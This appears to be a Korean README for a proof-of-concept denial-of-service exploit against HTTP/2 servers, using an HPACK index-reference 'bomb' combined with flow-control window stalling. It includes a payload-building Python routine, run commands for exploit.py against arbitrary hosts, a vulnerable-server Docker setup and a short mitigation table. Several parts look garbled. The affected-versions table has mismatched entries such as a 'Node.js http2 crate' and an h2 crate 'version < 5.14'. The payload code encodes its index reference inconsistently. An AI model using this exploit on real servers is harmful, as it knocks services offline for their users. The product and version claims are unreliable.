
CVE-2026-49975 HTTP/2 Bomb DoS 취약점에 대한 PoC 익스플로잇. HPACK 인덱스 참조 폭탄과 흐름 제어 윈도우 스톨을 결합하여 단일 연결을 통해 서버 메모리를 고갈시키는 방식을 보여줍니다.
CVE-2026-49975는 HTTP/2 서버 및 프록시 구현에서 발생하는 심각한 서비스 거부(DoS) 취약점입니다. "HTTP/2 Bomb" 또는 "HPACK Bomb"라고 불리는 이 공격은 HTTP/2 프로토콜의 두 가지 설계 수준 동작을 악용하여 대상을 무제한 메모리 소비(OOM)와 CPU 고갈 상태로 몰아넣습니다:
CVSS 3.1 기본 점수: 9.8 (심각)
벡터: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
이 공격은 두 단계가 서로 보완할 때 가장 효과적이지만, 일부 구현에서는 각 단계만으로도 충분합니다.
HTTP/2의 HPACK 헤더 압축은 진화하는 동적 테이블을 사용합니다. 큰 쿠키 헤더가 테이블에 삽입되면(Literal+Incremental Encoding을 통해), 공격자는 1바이트 opcode로 해당 항목을 참조할 수 있습니다. 반복된 참조는 디코더가 동일한 헤더를 계속해서 재구성하도록 만듭니다.
Wire: [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.
5KB 패킷이 수백 메가바이트의 디코딩된 페이로드로 확장될 수 있다.
INITIAL_WINDOW_SIZE=0인 SETTINGS는 피해자가 모든
HEADERS/연속 데이터를 큐에 쌓도록 강제한다. 공격자는
WINDOW_UPDATE 프레임을 천천히 흘려보낸다. 버퍼는 조합적으로
가득 찬 상태로 유지된다.
| 메커니즘 | 증폭 계수 |
|---|---|
| 원시 HEADERS 본문 | 1x |
| HPACK 참조 폭증 | 20–80x |
| + 동시 스트림 | 100–500x |
| + 윈도우 스톨링 | 1000x+ |
| 벤더 / 프로젝트 | 버전 | 설명 |
|---|---|---|
| Apache mod_http2 | < 2.0.13 | 인덱스 참조 폭증 시 OOM |
| nghttp2 | < 1.62.0 | 무제한 메모리 팽창 |
| h2o | < 4.0.2 | 디코더의 무한 루프 |
| Node.js http2 crate | < 1.12.0 | nghttp2-rs의 내재적 확장 |
| Go net/http (h2) | < 1.24 | 고루틴 행 + OSL 할당 |
| Apache Traffic Server | < 9.3.0 | 내부 버퍼를 통한 OOM |
| HAProxy h2 | < 2.9 | 과대 AVP에서 충돌 |
| Envoy | < 1.30 | 흐름 제어에서 대규모 할당 |
| Rust hyper/h2 crate | < 5.14 | 오버플로 SK에서 패닉 |
정확한 범위는 벤더의 CVE 항목을 참조하라.
# Python 3.8+ with ssl support
python --version
# SSL Certificate optional; PoC sets CERT_NONE
Docker 빠른 피해자:
docker run -d --name h2-victim -p 4433:443 \
nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null
동반 스크립트는 exploit.py입니다.
핵심 루틴:
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
cookie_name = b"cookie"
cookie_value = "a=" + "y" * 128
data = bytearray()
# Step 1: insert cookie into dynamic table
data.append(0x40) # Literal+incremental
data.extend(encode_hpack_int(len(cookie_name), 7))
data.extend(cookie_name)
data.extend(encode_hpack_int(len(cookie_value), 7))
data.extend(cookie_value.encode())
# Step 2: spam Indexed refs (index 63)
for _ in range(num_headers):
data.append(0x80)
data.extend(encode_hpack_int(63, 7))
return bytes(data)
스크립트는 다음을 수행합니다:
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100
# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000
# Disable window stall
python exploit.py endpoint.com --no-stall
# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60
# Verbose
python exploit.py 10.0.0.5 -v
피해자 리소스 모니터링:
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>
공격이 성공하고 있다는 징후:
| 접근 방식 | 설정 |
|---|---|
| 스트림당 헤더 제한 | MaxHeaderCount 500 |
| 낮은 압축 거부 | 비율 임계값 < 5 |
| HPACK 증가 제한 | 동적 테이블을 1 KB로 제한 |
| 연결당 메모리 | N MB 초과 시 거부 |
| 속도 제한 | 일반 conn/s, req/s |
이 정보는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하고 있거나 서면 테스트 허가를 받은 시스템에만 실행하십시오.